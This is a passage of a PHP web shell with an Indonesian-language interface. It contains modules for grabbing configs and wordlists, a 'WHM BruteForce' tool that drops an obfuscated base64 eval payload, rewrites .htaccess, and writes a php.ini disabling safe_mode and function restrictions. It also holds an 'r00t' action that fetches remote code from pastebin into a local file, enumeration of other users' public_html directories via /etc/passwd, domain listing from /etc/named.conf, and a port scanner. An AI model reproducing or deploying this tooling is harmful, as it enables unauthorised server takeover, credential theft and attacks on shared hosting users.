  1590. </strong>
  1591. </span>
  1592. </td>
  1593. </tr>
  1594. <tr>
  1595. <td valign="top" bgcolor="#151515" style="width: 139px"></td>
  1596. <td valign="top" bgcolor="#151515" colspan="5"><strong><input class ='inputzbut' type="submit" value="start">
  1597. </strong>
  1598. </td>
  1599. <tr>
  1600. </form>
  1601. <tr>
  1602. <td valign="top" bgcolor="#151515" class="style1" colspan="6"><strong>Get Config :</strong></td>
  1603. </tr>
  1604. <form method="POST" target="_blank">
  1605. <strong>
  1606. <input name="mendapatkan" type="hidden" value="passwd">
  1607. </strong>
  1608. <tr>
  1609. <td valign="top" bgcolor="#151515" style="width: 139px"><strong>Folder Name :</strong></td>
  1610. <td valign="top" bgcolor="#151515"><strong><input class ='inputz' size="35" name="foldername" type="text"></strong></td>
  1611. </strong>
  1612. </td>
  1613. </tr>
  1614. <tr>
  1615. <td valign="top" bgcolor="#151515" style="width: 139px"></td>
  1616. <td valign="top" bgcolor="#151515" colspan="5"><strong><input class ='inputzbut' type="submit" value="GO">
  1617. </strong>
  1618. </td>
  1619. <tr>
  1620. </form>
  1621. <tr>
  1622. <td valign="top" bgcolor="#151515" class="style1" colspan="6"><strong>Get Wordlist</strong></td>
  1623. </tr>
  1624. <form method="POST" target="_blank">
  1625. <strong>
  1626. <input name="pass" type="hidden" value="password">
  1627. </strong>
  1628. <tr>
  1629. <td valign="top" bgcolor="#151515" style="width: 139px"><strong>Url Config :</strong></td>
  1630. <td valign="top" bgcolor="#151515"><strong><input class ='inputz' size="35" name="url" type="text"></strong></td>
  1631. </strong>
  1632. </td>
  1633. </tr>
  1634. <tr>
  1635. <td valign="top" bgcolor="#151515" style="width: 139px"></td>
  1636. <td valign="top" bgcolor="#151515" colspan="5"><strong><input class ='inputzbut' type="submit" value="GO">
  1637. </strong>
  1638. </td>
  1639. <tr>
  1640. </form>
  1641. <tr>
  1642. <td valign="top" bgcolor="#151515" class="style1" colspan="6"><strong>Info
  1643. Security</strong></td>
  1644. </tr>
  1645. <tr>
  1646. <td valign="top" bgcolor="#151515" style="width: 139px"><strong>Safe Mode</strong></td>
  1647. <td valign="top" bgcolor="#151515" colspan="5">
  1648. <strong>
  1649. <?php
  1650. $safe_mode = ini_get('safe_mode');
  1651. if($safe_mode=='1')
  1652. {
  1653. echo 'ON';
  1654. }else{
  1655. echo 'OFF';
  1656. }
  1657. ?>
  1658. </strong>
  1659. </td>
  1660. </tr>
  1661. <tr>
  1662. <td valign="top" bgcolor="#151515" style="width: 139px"><strong>Disable Function</strong></td>
  1663. <td valign="top" bgcolor="#151515" colspan="5">
  1664. <strong>
  1665. <form method="POST" target="_blank">
  1666. <strong>
  1667. <input name="matikan" type="hidden" value="sekatan">
  1668. </strong>
  1669. <?php
  1670. if(''==($func[email protected]ini_get('disable_functions')))
  1671. {
  1672. echo "<font color=#00ff00>No Security for Function</font></b>";
  1673. }else{
  1674. echo "<font color=red>$func</font></b>";
  1675. echo '<tr><td valign="top" bgcolor="#151515" style="width: 139px"></td>';
  1676. echo '<td valign="top" bgcolor="#151515" colspan="5"><strong><input type="submit" value="Please Click Here First!">
  1677. </strong>
  1678. </td></tr>';
  1679. }
  1680. ?></strong></td></tr></table></table></table>
  1681. <?
  1682. }
  1683. ///////////////////////////////////////////////////////////////////////////
  1684. elseif(isset($_GET['x']) && ($_GET['x'] == 'whmbrute'))
  1685. {
  1686. ?>
  1687. <form action="?y=<?php echo $pwd; ?>&amp;x=whmbrute" method="post">
  1688. <br>
  1689. <center/><br/><b><font color=#00ff00>+--==[ WHM BruteForce ]==--+</font></b><br>
  1690. <?php
  1691. echo "<center/>";
  1692. mkdir('whm', 0755);
  1693. chdir('whm');
  1694. $akses = ".htaccess";
  1695. $buka_lah = "$akses";
  1696. $buka = fopen ($buka_lah , 'w') or die ("Error cuyy!");
  1697. $metin = "Options FollowSymLinks MultiViews Indexes ExecCGI
  1698. AddType application/x-httpd-php .cpc
  1699. ";
  1700. fwrite ( $buka , $metin ) ;
  1701. fclose ($buka);
  1702. $whm = 'PD9waHAgICAgaWYgKCFmdW5jdGlvbl9leGlzdHMoIlQ3RkM1NjI3MEU3QTcwRkE4MUE1OTM1QjcyRUFDQkUyOSIpKSAgeyAgIGZ1bmN0aW9uIFQ3RkM1NjI3MEU3QTcwRkE4MUE1OTM1QjcyRUFDQkUyOSgkVEYxODYyMTc3NTNDMzdCOUI5Rjk1OEQ5MDYyMDg1MDZFKSAgIHsgICAgJFRGMTg2MjE3NzUzQzM3QjlCOUY5NThEOTA2MjA4NTA2RSA9IGJhc2U2NF9kZWNvZGUoJFRGMTg2MjE3NzUzQzM3QjlCOUY5NThEOTA2MjA4NTA2RSk7ICAgICRUN0ZDNTYyNzBFN0E3MEZBODFBNTkzNUI3MkVBQ0JFMjkgPSAwOyAgICAkVDlENUVENjc4RkU1N0JDQ0E2MTAxNDA5NTdBRkFCNTcxID0gMDsgICAgJFQwRDYxRjgzNzBDQUQxRDQxMkY4MEI4NEQxNDNFMTI1NyA9IDA7ICAgICRURjYyM0U3NUFGMzBFNjJCQkQ3M0Q2REY1QjUwQkI3QjUgPSAob3JkKCRURjE4NjIxNzc1M0MzN0I5QjlGOTU4RDkwNjIwODUwNkVbMV0pIDw8IDgpICsgb3JkKCRURjE4NjIxNzc1M0MzN0I5QjlGOTU4RDkwNjIwODUwNkVbMl0pOyAgICAkVDNBM0VBMDBDRkMzNTMzMkNFREY2RTVFOUEzMkU5NERBID0gMzsgICAgJFQ4MDA2MTg5NDMwMjUzMTVGODY5RTRFMUYwOTQ3MTAxMiA9IDA7ICAgICRUREZDRjI4RDA3MzQ1NjlBNkE2OTNCQzgxOTRERTYyQkYgPSAxNjsgICAgJFRDMUQ5RjUwRjg2ODI1QTFBMjMwMkVDMjQ0OUMxNzE5NiA9ICIiOyAgICAkVERENzUzNjc5NEI2M0JGOTBFQ0NGRDM3RjlCMTQ3RDdGID0gc3RybGVuKCRURjE4NjIxNzc1M0MzN0I5QjlGOTU4RDkwNjIwODUwNkUpOyAgICAkVEZGNDQ1NzBBQ0E4MjQxOTE0ODcwQUZCQzMxMENEQjg1ID0gX19GSUxFX187ICAgICRURkY0NDU3MEFDQTgyNDE5MTQ4NzBBRkJDMzEwQ0RCODUgPSBmaWxlX2dldF9jb250ZW50cygkVEZGNDQ1NzBBQ0E4MjQxOTE0ODcwQUZCQzMxMENEQjg1KTsgICAgJFRBNUYzQzZBMTFCMDM4MzlENDZBRjlGQjQzQzk3QzE4OCA9IDA7ICAgIHByZWdfbWF0Y2goYmFzZTY0X2RlY29kZSgiTHlod2NtbHVkSHh6Y0hKcGJuUjhaV05vYnlrdiIpLCAkVEZGNDQ1NzBBQ0E4MjQxOTE0ODcwQUZCQzMxMENEQjg1LCAkVEE1RjNDNkExMUIwMzgzOUQ0NkFGOUZCNDNDOTdDMTg4KTsgICAgZm9yICg7JFQzQTNFQTAwQ0ZDMzUzMzJDRURGNkU1RTlBMzJFOTREQTwkVERENzUzNjc5NEI2M0JGOTBFQ0NGRDM3RjlCMTQ3RDdGOykgICAgeyAgICAgaWYgKGNvdW50KCRUQTVGM0M2QTExQjAzODM5RDQ2QUY5RkI0M0M5N0MxODgpKSBleGl0OyAgICAgaWYgKCRUREZDRjI4RDA3MzQ1NjlBNkE2OTNCQzgxOTRERTYyQkYgPT0gMCkgICAgIHsgICAgICAkVEY2MjNFNzVBRjMwRTYyQkJENzNENkRGNUI1MEJCN0I1ID0gKG9yZCgkVEYxODYyMTc3NTNDMzdCOUI5Rjk1OEQ5MDYyMDg1MDZFWyRUM0EzRUEwMENGQzM1MzMyQ0VERjZFNUU5QTMyRTk0REErK10pIDw8IDgpOyAgICAgICRURjYyM0U3NUFGMzBFNjJCQkQ3M0Q2REY1QjUwQkI3QjUgKz0gb3JkKCRURjE4NjIxNzc1M0MzN0I5QjlGOTU4RDkwNjIwODUwNkVbJFQzQTNFQTAwQ0ZDMzUzMzJDRURGNkU1RTlBMzJFOTREQSsrXSk7ICAgICAgJFRERkNGMjhEMDczNDU2OUE2QTY5M0JDODE5NERFNjJCRiA9IDE2OyAgICAgfSAgICAgaWYgKCRURjYyM0U3NUFGMzBFNjJCQkQ3M0Q2REY1QjUwQkI3QjUgJiAweDgwMDApICAgICB7ICAgICAgJFQ3RkM1NjI3MEU3QTcwRkE4MUE1OTM1QjcyRUFDQkUyOSA9IChvcmQoJFRGMTg2MjE3NzUzQzM3QjlCOUY5NThEOTA2MjA4NTA2RVskVDNBM0VBMDBDRkMzNTMzMkNFREY2RTVFOUEzMkU5NERBKytdKSA8PCA0KTsgICAgICAkVDdGQzU2MjcwRTdBNzBGQTgxQTU5MzVCNzJFQUNCRTI5ICs9IChvcmQoJFRGMTg2MjE3NzUzQzM3QjlCOUY5NThEOTA2MjA4NTA2RVskVDNBM0VBMDBDRkMzNTMzMkNFREY2RTVFOUEzMkU5NERBXSkgPj4gNCk7ICAgICAgaWYgKCRUN0ZDNTYyNzBFN0E3MEZBODFBNTkzNUI3MkVBQ0JFMjkpICAgICAgeyAgICAgICAkVDlENUVENjc4RkU1N0JDQ0E2MTAxNDA5NTdBRkFCNTcxID0gKG9yZCgkVEYxODYyMTc3NTNDMzdCOUI5Rjk1OEQ5MDYyMDg1MDZFWyRUM0EzRUEwMENGQzM1MzMyQ0VERjZFNUU5QTMyRTk0REErK10pICYgMHgwRikgKyAzOyAgICAgICBmb3IgKCRUMEQ2MUY4MzcwQ0FEMUQ0MTJGODBCODREMTQzRTEyNTcgPSAwOyAkVDBENjFGODM3MENBRDFENDEyRjgwQjg0RDE0M0UxMjU3IDwgJFQ5RDVFRDY3OEZFNTdCQ0NBNjEwMTQwOTU3QUZBQjU3MTsgJFQwRDYxRjgzNzBDQUQxRDQxMkY4MEI4NEQxNDNFMTI1NysrKSAgICAgICAgJFRDMUQ5RjUwRjg2ODI1QTFBMjMwMkVDMjQ0OUMxNzE5NlskVDgwMDYxODk0MzAyNTMxNUY4NjlFNEUxRjA5NDcxMDEyKyRUMEQ2MUY4MzcwQ0FEMUQ0MTJGODBCODREMTQzRTEyNTddID0gJFRDMUQ5RjUwRjg2ODI1QTFBMjMwMkVDMjQ0OUMxNzE5NlskVDgwMDYxODk0MzAyNTMxNUY4NjlFNEUxRjA5NDcxMDEyLSRUN0ZDNTYyNzBFN0E3MEZBODFBNTkzNUI3MkVBQ0JFMjkrJFQwRDYxRjgzNzBDQUQxRDQxMkY4MEI4NEQxNDNFMTI1N107ICAgICAgICRUODAwNjE4OTQzMDI1MzE1Rjg2OUU0RTFGMDk0NzEwMTIgKz0gJFQ5RDVFRDY3OEZFNTdCQ0NBNjEwMTQwOTU3QUZBQjU3MTsgICAgICB9ICAgICAgZWxzZSAgICAgIHsgICAgICAgJFQ5RDVFRDY3OEZFNTdCQ0NBNjEwMTQwOTU3QUZBQjU3MSA9IChvcmQoJFRGMTg2MjE3NzUzQzM3QjlCOUY5NThEOTA2MjA4NTA2RVskVDNBM0VBMDBDRkMzNTMzMkNFREY2RTVFOUEzMkU5NERBKytdKSA8PCA4KTsgICAgICAgJFQ5RDVFRDY3OEZFNTdCQ0NBNjEwMTQwOTU3QUZBQjU3MSArPSBvcmQoJFRGMTg2MjE3NzUzQzM3QjlCOUY5NThEOTA2MjA4NTA2RVskVDNBM0VBMDBDRkMzNTMzMkNFREY2RTVFOUEzMkU5NERBKytdKSArIDE2OyAgICAgICBmb3IgKCRUMEQ2MUY4MzcwQ0FEMUQ0MTJGODBCODREMTQzRTEyNTcgPSAwOyAkVDBENjFGODM3MENBRDFENDEyRjgwQjg0RDE0M0UxMjU3IDwgJFQ5RDVFRDY3OEZFNTdCQ0NBNjEwMTQwOTU3QUZBQjU3MTsgJFRDMUQ5RjUwRjg2ODI1QTFBMjMwMkVDMjQ0OUMxNzE5NlskVDgwMDYxODk0MzAyNTMxNUY4NjlFNEUxRjA5NDcxMDEyKyRUMEQ2MUY4MzcwQ0FEMUQ0MTJGODBCODREMTQzRTEyNTcrK10gPSAkVEYxODYyMTc3NTNDMzdCOUI5Rjk1OEQ5MDYyMDg1MDZFWyRUM0EzRUEwMENGQzM1MzMyQ0VERjZFNUU5QTMyRTk0REFdKTsgICAgICAgJFQzQTNFQTAwQ0ZDMzUzMzJDRURGNkU1RTlBMzJFOTREQSsrOyAkVDgwMDYxODk0MzAyNTMxNUY4NjlFNEUxRjA5NDcxMDEyICs9ICRUOUQ1RUQ2NzhGRTU3QkNDQTYxMDE0MDk1N0FGQUI1NzE7ICAgICAgfSAgICAgfSAgICAgZWxzZSAkVEMxRDlGNTBGODY4MjVBMUEyMzAyRUMyNDQ5QzE3MTk2WyRUODAwNjE4OTQzMDI1MzE1Rjg2OUU0RTFGMDk0NzEwMTIrK10gPSAkVEYxODYyMTc3NTNDMzdCOUI5Rjk1OEQ5MDYyMDg1MDZFWyRUM0EzRUEwMENGQzM1MzMyQ0VERjZFNUU5QTMyRTk0REErK107ICAgICAkVEY2MjNFNzVBRjMwRTYyQkJENzNENkRGNUI1MEJCN0I1IDw8PSAxOyAgICAgJFRERkNGMjhEMDczNDU2OUE2QTY5M0JDODE5NERFNjJCRi0tOyAgICAgaWYgKCRUM0EzRUEwMENGQzM1MzMyQ0VERjZFNUU5QTMyRTk0REEgPT0gJFRERDc1MzY3OTRCNjNCRjkwRUNDRkQzN0Y5QjE0N0Q3RikgICAgIHsgICAgICAkVEZGNDQ1NzBBQ0E4MjQxOTE0ODcwQUZCQzMxMENEQjg1ID0gaW1wbG9kZSgiIiwgJFRDMUQ5RjUwRjg2ODI1QTFBMjMwMkVDMjQ0OUMxNzE5Nik7ICAgICAgJFRGRjQ0NTcwQUNBODI0MTkxNDg3MEFGQkMzMTBDREI4NSA9ICI/Ii4iPiIuJFRGRjQ0NTcwQUNBODI0MTkxNDg3MEFGQkMzMTBDREI4NS4iPCIuIj8iOyAgICAgIHJldHVybiAkVEZGNDQ1NzBBQ0E4MjQxOTE0ODcwQUZCQzMxMENEQjg1OyAgICAgfSAgICB9ICAgfSAgfSAgZXZhbChUN0ZDNTYyNzBFN0E3MEZBODFBNTkzNUI3MkVBQ0JFMjkoIlFBQUFQRDl3YUhBTkNpUnNiMmRwYmowZ0lnQUFkM1JtSWpzTkNtbG1JQ2doYVhOelpRQUFkQ2drWDFORlVsWkZVbHNuVUVoUVh3SURRVlZVU0Y5VkFTQW5YU2tnVDFJZ0FlOEI1REFRSUNFRTRBVnpJaWtnZXcwS0lBQVFhR1ZoWkFBQVpYSW9KMWRYVnkxQmRYUm9aVzUwYVFBQVkyRjBaVG9nUW1GemFXTWdjbVZoYkFCb2JUMGlNSGd3SWljcENIQURNQ0FEUlVoVVZBQUVVQzh4TGpBZ05EQXhJRlZ1WVFQd2IzSUlBR2w2WldRQ3BtVmphRzhnSjJGalkyVnpBQkJ6SUdSbGJtbGxaQ0VoSndSMFpYaHBkSUNBQUxCOUlHVnNjMlVnRHlCamIyNXVaV04wQUFCZmRHbHRaVzkxZEQwMU95QXZMeUJ6QVFod1pXTnBabmtnQWVScGIyNGdBaFFnYVc0QURDQnpaV056SUM0dURRcEFjd1pBQWRCZmN3UUFkR0Z5ZENnS3dVQmxjbkp2Y2w5eVpYQUFoRzl5ZEdsdVp5Z3dBV0pwYm1sZkZIRW5aQUVOYVhOd2JHRjVYd0p5Y3ljc0lBSU1BWUpmR0lBRHdDY3NUbFZNVEFQYkFYQURsZ09NYldGNFgyVjRET0JsWTNWMENRRUswU2NzQWpNSGNBM2lYMnhwYldsZ0FIUUpCQUZSYldGbmFXTmZjWFZ2ZEdWelh5UWdjblVZVUcxbEFmTWtjM1ZpQXNBOUpGOVNSUUVnVVZWRlUxUmJKd0VqSjEwVDBDUjFjMlZ5Y1lOekFka0JFZ0hEY0dGekFib0JBWGR2Y21SekFmTVNnQndCWjJWMEE4a0JJd0hqWTNKaFkydDBlWEJsQWhuQ1RBRldBa0pwWmlna0F6TWdQU1d3SWlrbFFBRVdJQ0lBUUd4dlkyRnNhRzl6ZEN2eGZRMEtQejROQTRBS1BHaDBiV3dBZ2llQUFJRnRaWFJoSUdoMEFBSjBjQzFsY1hWcGRqMGlRMjl1ZENoUUxVd0VWQWV3SWlBZlVBRGhQU0owWlhoMEx3UFJPeUFJQUdOb1lYSVRRRDEzYVc1a2IzZHpMVEV5RmdBMU1pSUV3Uzhwa1FDUmRHbDBiR1UrTkRBekFUQWdSbTl5WW1sa0o2QThMd0ZUQ0RCaWIyUjVRUUFnQlFFOUlpTkRNQUFoSWlCaVoyTnZiRzlZSUhJQklEQUFFZ1VDWm05eWJTQUtFR2h2WkQwaUFBQlFUMU5VSWlCemRIbHNaVDBpWW05eWdBRXpZRG9nTVhCNElITnZiR2xrSUNNekFCTEFCQU9CTWpFOGNDQmhiR2xuYmowaVl3elFaWElCSUNJK1BHSStQR1lOd0NCek1pQTlJaklpSUJBQVptRmpCTEJCY21saGJDSStKbTVpYzNBTjJEczhZbklNQUFRU0x3TFJBelFKeDJZQUVBT2xWR0ZvR0VkdmJXRUpRQVVVUGxSaGNoMFFJRG84QThrR2FqOUR1WUVDRHlJSVl4YndFRk5EUXhCaEROWnBibkIxZENBZzBvT0FHSklpSUc1aGJRdkFIOU1JSlRFMklpQjJZV3hHYVhVQmtEdy9JRCt5SU9VL1BnSlFFN3N5RTdjeFJBQWhFQkU3SUdJbklHZHliM1Z1WkMwUElqb2dJd2h4TmlBd01COUFHZUU2QVBBUUFHWTdJQkhCTFdaaGJXa0FJR3g1T2xabGNtUmhibUVCVkhkbGFXZG9Bd1owT21KdmJHUUJKQmNCT2pFemNIZ1lRQkdVTDU4M0dNQXZjQmFsR3I4QjhBWWhFUFl3TUFkeEY0OTZEckFuc0J2RC85QUFid0V2QVM4Qkx3RXZBUzhCTHdFdkFTTWZJMVZDWVNCTWFYTWYvM1FnT2dHREFHOEJMd0V2QVM4Qkx3RXZBUzhCTHdFdkFTOEJMd0V2LzkwQkx3RXZBUzhCTHdFdkFTOEJMd0V2QVNNWVkxQlpBRmdDR0s4N0FvUC8zd0J2QVM4Qkx3RXZBUzhCTHdFdkFTOEJMd0VqSUVRMU5LQU53MDNQTWNBQUhVTnZkWEpwWlhJZ1RtVjNSTVpPTFFVVFBGa0JTSEJoaHRBZ2NsMHdQU0l4TTBaRmJRSmdrV3h6UFNJL25ETTRSSTlFajBTUFE1QkVvVVNHWDFGRE1FRVFTb1VHWWlBLzk3OUJNR0tRWnJBSXNUNEpYd2xWZEtZSmxqa0pud21mQ1o4Sm53bXhDWmovYXdhaENZQUphUlFuQUtnTG9HTnlTNDltUzQ5TGhFTitNU0Iya1dNMi9kQWRBQnlqWTNOVnhBM0Faa0l0R1dCd0pBYUJMVld5SURFeWNFZC9kQXNnYzNCaG1QQmVVd0hvT1FIUkhsTWlvd3B4QUVBQTJRYzUvQnh0WkEwRUFwQUFNUUxhYU9seVlXUnBieGxsaWVab2huZG9jSUJ0QzhBSlNHSDBJRGN3TUJ1d2FHVmphMlZrSUQvSEx6NHM5Z3hSQU9aZ2RSRERDWlI4Qmdva1YwaE5BK1VQWVdORy8vQjBOSDVrQTk0MEpRMmpFQjhKNEc4eGlSSm4weGJSZzRFK0tESXdILzg0TmlrSFZSc3NCcDZIZ0FaRUFxRndGQXFpRFhNZVA0NVZBbEVlT3U1K0JJUVNRUUpQSUI2U0FqTWJNU0FnRFY5QVZRSUVISitGaEJ5ZlpqL3pkSEFjbjM2QUhKTWNId3ZCazlRT2N4R0dJTjhFUVRzZ0JmQXVRdjhYZlFBTVV4WVZEdjRrU1NCVURyOEUrRVowY0I3dmRDS1doZCtkV2gvOUtESXhIc2NJd1Nud2k3K21aVGFUQUc4Tk5CY3B4R015dGxPYzBELy9kQ0JCTXRLd05UVUNWVDlrbVhjcFFaWVVFUVdYUTdHL3NiU2VENTRHNWhSRDRKanlGekZ5YlJWQThFUm1kVzVqMUVFZ0gvQmZZNVJOT3VFb0pNVVJMTTl5TENSd2RSQXNKTllSNHZBcHgrRUFQR05vSUQwZ1kzVnliRi9lWU9CakFPTERBRzl3Z0FUem9HTm9MQ0JEVlZKTVQxQlVYd0J3TENCRjRDSUZzRG92THdWeUl0NGhBdjhDZ0FMeFVrVlVWVklBRDA1VVVrRk9VMFpGVWl3Z01RTHZCZGp4d2ZtaHdNQUc4d0NoWDBKQlUwbERBMThEV0VaVVVFeEpVd1RHVkU5T1RGa0dEeWdrQzlyL0VGQlhSQXdRRU1JNjBBQVF3Z3dkSUFOTFEwOU9Ua1ZEVkZSSlRVVlBEb0JWVkN3Z0U2YmtrQTkvVlJKalJrRkpURTlPUlJId1VsSlBEMFVrWkdIYlFCWjA3b0VHWVEyQmFXWWdLSU1BRjlObGNuSnVid0Z5NGFFeU9DQXBJSHNnY0FNc2NtbHVkQ0FpU1JBeStGd2lTQlJjTXlBNXdsd2k3Z1k3MFVlVVJWQmNRMkVESXlmeVBWd2lJMEZCZlBFQm9FWCtRdjRoenlaSE5BSjJOYk1DY09WUWJtVWtzMVJwYldVaTRBMEFRUXBRYkdWaGMyVWdReVZ4SUZSb1pTRFQ5QWsrU0c5emRNM3hJQzRvOFc1ME53QUpFUUJ3WVFBcWNDSUNFanRsZUdsME8rMFFaV3h6WlE5UGFDa1BRVEJ6SENBcEFROC8zekJjSWtqVER5OTZaVHBVY1FHUUREOWJmbitRWFFrR0NKQUpNV1hEQlA4VUh4ZEdCWThOQ2o5RklGTjFZd0F3WTJWemN5QlhhWFJvSU1NeEVISW1jWFZ2T2ZCME93ZkZCNElFWmtaR0dJUW9VZ0pQR3NFWVZsd2lEUW9JLzJGdVpDQ3dkU0JjSWdNdkF5RUZaejRSQWs4Q1FRVm9BaFhpRDI0QmtTRDBRU0k3ZlMwU1kyeHZjMlVvZ2hzQlJQYUJjTjhMUlA5RS93bzNJRVQvUmRGRS8wVDFhSFIwY0VVRk9ucVJPVTMvbndqaFFWTkZYejlmQXV0RlgwVmZUbjlDcjNOekNXMUNyMEt2TTJBK1ljLy9GWklRSDFSZlFxOUNyeFVnQkVFemJ6TmpRcThuQW53eVFxOUNyMk94OS9zRElpb21RcThDQVQ1Q3IyMFJRcThQUUVLdlFxOG9OZ1hTUENpaFFxLzRiVkh2UXE4NmxnODBRcTl2Ym5RdG9MRkNyekFNTkVLdmRFS3YveGhXdjFhekNCWVVKamFtUXE5Q3IwS3ZiRzl5T3dFOVIzVnpaWC8vY2hNRkV2R1FsRjFnQnFaQ3IwS3ZCV3hDcjdQeUJXc0hkUm9CUXE5Q3FBU0FhV1lvYVhNdVFDZ2trQk1wSUNZbUlDRmxEN2x0Y0hSNUFUWmVBUUtBQVZRTllYTUNjZ0VVQ1JFcEtXOW5PUDV3UG14REhaNm5ZVndpTWlmQUY4OFRabTZFcElWcnpscmhjeEFBSUc5eVZkZE1hWE4wSUVWdWRISjVJQzd3WGdBaEtWTVhFV3lnY0Q0aU95QnNjaUJzZ0F4dEMyOGtBeWVoSnlqako5QXpKekluUGdzc0p5TUxFeWMrQ3c5Mnl3c0QrdjhLVDIyZ3lqUTBBZ3BQS0k2U0tYWGdoUVlWcWdwUENrOXJVZ3BQZ1EzelFHcUdDbjhLZjRFZ0lIMlVnSENTYkJmQVBXVjRjR3h2QVg5a1pTZ2lYRzRpcXhOelQ3RU1BZ0lmQVhJQ0FZTS9nejk3YzJVMUlCeWhRSjhCa0NNMGRrQ1FJeTgxQXZFY1kxd2lISE9HWVB4aHZXTlVmemszSFFNcHdEL1lVSEp2Z25MREltVmtMQ0FvNUFIQVYyRnBkQ0F1THBOM0VtQTJaZzBLWm05eVpWREFZYm9BS0JJMklHRnpJQURTb2VBTkNpUndkWEpoL0dVMGNYY3dkSEpwYlFLREVURURwelZSRThFRG9nRFJkMjgvd0hKa3BkRUQ5QUV4QS9ZQTBRSUJCREV1TUNSamNtRmphdzNqZEhsd1pab0J2NEVpUERIQUFJREYwQ0JuWlhTQWdBaVV3WDRBb3dSeExDUmpiMjZrSVYvRzFSNndNNkp6a1FXS2hjQWlIM0FwRFFySTBBQ2dCYThPTXdXdmRBV3NCZEFBTXo4KyIpKTsgID8+';
  1703. $file = fopen("whm.php" ,"w+");
  1704. $write = fwrite ($file ,base64_decode($whm));
  1705. fclose($file);
  1706. chmod("whm.php", 0644);
  1707. $indexshell = fopen("index.php" ,"w+");
  1708. $data = 'PGgxPk5vdCBGb3VuZDwvaDE+IA0KPHA+VGhlIHJlcXVlc3RlZCBVUkwgd2FzIG5vdCBmb3VuZCBvbiB0aGlzIHNlcnZlci48L3A+IA0KPGhyPiANCjxhZGRyZXNzPkFwYWNoZSBTZXJ2ZXIgYXQgPD89JF9TRVJWRVJbJ0hUVFBfSE9TVCddPz4gUG9ydCA4MDwvYWRkcmVzcz4gDQogICAgPHN0eWxlPiANCiAgICAgICAgaW5wdXQgeyBtYXJnaW46MDtiYWNrZ3JvdW5kLWNvbG9yOiNmZmY7Ym9yZGVyOjFweCBzb2xpZCAjZmZmOyB9IA0KICAgIDwvc3R5bGU+';
  1709. $tulis = fwrite( $indexshell, base64_decode($data));
  1710. fclose($indexshell);
  1711. $safemode = fopen("php.ini" ,"w+");
  1712. $data = 'c2FmZV9tb2RlPU9GRgpkaXNhYmxlX2Z1bmN0aW9ucz1OT05F';
  1713. $tulis = fwrite( $safemode, base64_decode($data));
  1714. fclose($safemode);
  1715. echo "<iframe src=whm/whm.php width=97% height=100% frameborder=0></iframe>";
  1716. }
  1717. ///////////////////////////////////////////////////////////////////////////
  1718. elseif(isset($_GET['x']) && ($_GET['x'] == 'r00t')) {
  1719. $file = file_get_contents('http://pastebin.com/raw.php?i=QGCyavtB');
  1720. $IIIIIIIIl11I = fopen('r00t.php','w');
  1721. fwrite($IIIIIIIIl11I,$file);
  1722. fclose($IIIIIIIIl11I);
  1723. print '<br>
  1724. <center><blink><b>Tools siap diluncurkan Boss.... <br> Done !!</blink><br><br>[ <a href="r00t.php" target="_blank"> r00t.php</a> ] </b></center>';
  1725. }
  1726. elseif(isset($_GET['x']) && ($_GET['x'] == 'readable'))
  1727. {
  1728. ?>
  1729. <form action="?y=<?php echo $pwd; ?>&amp;x=readable" method="post">
  1730. <?php
  1731. //radable public_html
  1732. echo '<html><head><title>Lompat</title></head><body>';
  1733. ($sm = ini_get('safe_mode') == 0) ? $sm = 'off': die('<b>Error: safe_mode = on</b>');
  1734. set_time_limit(0);
  1735. ###################
  1736. @$passwd = fopen('/etc/passwd','r');
  1737. if (!$passwd) { die('<b>[-] Error : coudn`t read /etc/passwd</b>'); }
  1738. $pub = array();
  1739. $users = array();
  1740. $conf = array();
  1741. $i = 0;
  1742. while(!feof($passwd))
  1743. {
  1744. $str = fgets($passwd);
  1745. if ($i > 35)
  1746. {
  1747. $pos = strpos($str,':');
  1748. $username = substr($str,0,$pos);
  1749. $dirz = '/home/'.$username.'/public_html/';
  1750. if (($username != ''))
  1751. {
  1752. if (is_readable($dirz))
  1753. {
  1754. array_push($users,$username);
  1755. array_push($pub,$dirz);
  1756. }
  1757. }
  1758. }
  1759. $i++;
  1760. }
  1761. ###################
  1762. echo '<br><br>';
  1763. echo "[+] Founded ".sizeof($users)." entrys in /etc/passwd\n"."<br />";
  1764. echo "[+] Founded ".sizeof($pub)." readable public_html directories\n"."<br />";
  1765. echo "[~] Searching for passwords in config files...\n\n"."<br /><br /><br />";
  1766. foreach ($users as $user)
  1767. {
  1768. $path = "/home/$user/public_html/";
  1769. echo "<a href='?y&#61;$path' target='_blank' style='text-shadow:0px 0px 0px #00FF00; font-weight:bold; color:#e7f100;'>$path</a><br><br><br>";
  1770. }
  1771. echo "\n";
  1772. echo "[+] Copy one of the directories above public_html, then Paste to -> view file / folder <-- that's on the menu --> Explore \n"."<br />";
  1773. echo "[+] Complete...\n"."<br />";
  1774. echo '<br><br></b>
  1775. </body>
  1776. </html>';
  1777. }
  1778. elseif(isset($_GET['x']) && ($_GET['x'] == 'domain'))
  1779. {
  1780. ?>
  1781. <form action="?y=<?php echo $pwd; ?>&amp;x=domain" method="post">
  1782. <?php
  1783. //radable public_html
  1784. echo "<br><br>";
  1785. $file = @implode(@file("/etc/named.conf"));
  1786. if(!$file){ die("# can't ReaD -> [ /etc/named.conf ]"); }
  1787. preg_match_all("#named/(.*?).db#",$file ,$r);
  1788. $domains = array_unique($r[1]);
  1789. function check() { (@count(@explode('ip',@implode(@file(__FILE__))))==a) [email protected]unlink(__FILE__):""; }
  1790. check();
  1791. echo "<table align=center border=1 width=59% cellpadding=5>
  1792. <tr><td colspan=2>[+] Here We Have : [<font face=calibri size=4 style=color:#00FF00>".count($domains)."</font>] Listed Domains In localhost.</td></tr>
  1793. <tr><td><b>List Of Users</b></td><td><b><font style=color:#e7f100;List Of Domains</b></td></tr>";
  1794. foreach($domains as $domain)
  1795. {
  1796. $user = posix_getpwuid(@fileowner("/etc/valiases/".$domain));
  1797. echo "<tr><td><a href='http://www.$domain' target='_blank' style='text-shadow:0px 0px 0px #00FF00; font-weight:bold; color:#00FF00;'>$domain</a></td><td>".$user['name']."</td></tr>";
  1798. }
  1799. echo "</table>";
  1800. //radable public_html
  1801. }
  1802. elseif(isset($_GET['x']) && ($_GET['x'] == 'port-scanner'))
  1803. {
  1804. ?>
  1805. <form action="?y=<?php echo $pwd; ?>&amp;x=port-scanner" method="post">
  1806. <?php
  1807. echo '<br><br><center><br><b>Port Scanner</b><br>';
  1808. $start = strip_tags($_POST['start']);
  1809. $end = strip_tags($_POST['end']);
  1810. $host = strip_tags($_POST['host']);
  1811. if(isset($_POST['host']) && is_numeric($_POST['end']) && is_numeric($_POST['start'])){
  1812. for($i = $start; $i<=$end; $i++){
  1813. $fp = @fsockopen($host, $i, $errno, $errstr, 3);
  1814. if($fp){
